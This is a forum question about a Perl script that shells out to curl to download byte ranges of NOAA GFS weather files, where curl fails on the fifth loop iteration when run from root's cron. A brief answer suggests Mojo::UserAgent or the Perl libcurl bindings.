Curl crashes when running under cron - perl

Question

I've got a really bizzare problem, I've googled this to death, and cannot for the life of me find an answer. I'm a bit of a newbie to programming (lt 2 years) so sorry if this is something obvious, or I've not provided adequate detail
The Problem is...
curl crashes when I call it for the 5th time in a while loop (when run from root's cron).
curl is fine when I run said while loop manually whilst logged in (about 50 iterations).
I run a bash script from cron
The bash script runs a perl script
The perl script calls curl within a while loop
On the 5th iteration of this while loop, curl is called and crashes (no output)
I'm running cron as root (crontab -u root /path/to/the/crontab/file)
I don't think it's environment based, as it runs fine 4 times
If I end the while loop at 4 itterations and start it again, it still fails, so I figure the problem is not with the while loop.
This exact script works fine on my old server running Ubuntu desktop ( I'm now on Ubuntu server 10.04)
I think this a problem between curl and cron.
The line of the crash looks like this (vars filled in)
$err = system("/usr/bin/curl -f -v -s -r "36155357-36259993,36790101-37194555,53623979-53745261" http://nomads.ncep.noaa.gov/pub/data/nccf/com/gfs/prod/gfs.2012040100/master/gfs.t00z.mastergrb2f21 -o /root/Desktop/getGFS_uploadGFS/GFS/windvect/gfs.t00z.mastergrb2f21.tmp");
I'm totally stumped write now, if anyone has any ideas it would be much appreciated. Below is the while loop (with the crash point highlighted near the bottom).
while ($fhr <= $hr1) {
if ($fhr <= 9) { $fhr="0$fhr"; }
$url = $URL;
$url =~ s/\$FHR/$fhr/g;
$url =~ s/\${FHR}/$fhr/g;
$file = $url;
$file =~ s/^.*\///;
#
# read the inventory
# $line[] = wgrib inventory, $start[] = start of record (column two of $line[])
#
if ($windows eq 'yes') {
$err = system("$curl -f -s $url$inv -o $OUTDIR/$file.tmp");
$err = $err >> 8;
if ($err) {
print STDERR "error code=$err, problem reading $url$inv\n";
sleep(10);
exit(8);
}
open (In, "$OUTDIR/$file.tmp");
}
else {
open (In, "$curl -f -s $url$inv |");
}
$n=0;
while (<In>) {
chomp;
$line[$n] = $_;
s/^[^:]*://;
s/:.*//;
$start[$n] = $_;
$n++;
}
close(In);
if ($n == 0) {
print STDERR "Problem reading file $url$inv\n";
sleep(10);
exit(8);
}
#
# find end of record: $last[]
#
$lastnum = $start[$n-1];
for ($i = 0; $i < $n; $i++) {
$num = $start[$i];
if ($num < $lastnum) {
$j = $i + 1;
while ($start[$j] == $num) { $j++; }
$last[$i] = $start[$j] - 1;
}
else {
$last[$i] = '';
}
}
if ($action eq 'inv') {
for ($i = 0; $i < $n; $i++) {
print "$line[$i]:range=$start[$i]-$last[$i]\n";
}
exit(0);
}
#
# make the range field for Curl
#
$range = '';
$lastfrom = '';
$lastto = '-100';
for ($i = 0; $i < $n; $i++) {
$_ = $line[$i];
if (/$LEVS/i && /$VARS/i) {
$from=$start[$i];
$to=$last[$i];
if ($lastto + 1 == $from) {
$lastto = $to;
}
elsif ($lastto ne $to) {
if ($lastfrom ne '') {
if ($range eq '') { $range = "$lastfrom-$lastto"; }
else { $range = "$range,$lastfrom-$lastto"; }
}
$lastfrom = $from;
$lastto = $to;
}
}
}
if ($lastfrom ne '') {
if ($range eq '') { $range="$lastfrom-$lastto"; }
else { $range="$range,$lastfrom-$lastto"; }
}
if ($range ne '') {
#################################################################################
########### THE BELOW LINE IS WHERE CURL IS CALLED AND IT CRASHES ###############
#################################################################################
$err = system("$curl -f -v -s -r \"$range\" $url$grb -o $OUTDIR/$file.tmp");
$err = $err >> 8;
if ($err != 0) {
print STDERR "error in getting file $err $url$grb\n";
sleep(20);
exit $err;
}
rename "$OUTDIR/$file.tmp", "$OUTDIR/$file";
$output = "$output $OUTDIR/$file";
}
else {
print "no matches (no download) for $file\n";
}
$fhr += $dhr;
}

Answer 1

Why do you want to shell out to curl? If it's just the range, that's easy:
use v5.10.1;
use Mojo::UserAgent;
say Mojo::UserAgent->new->get(
'http://www.example.com',
{ 'Range' => 'bytes=500-600' }
)->res->body;
There are also Perl bindings to libcurl: Net::Curl and WWW::Curl.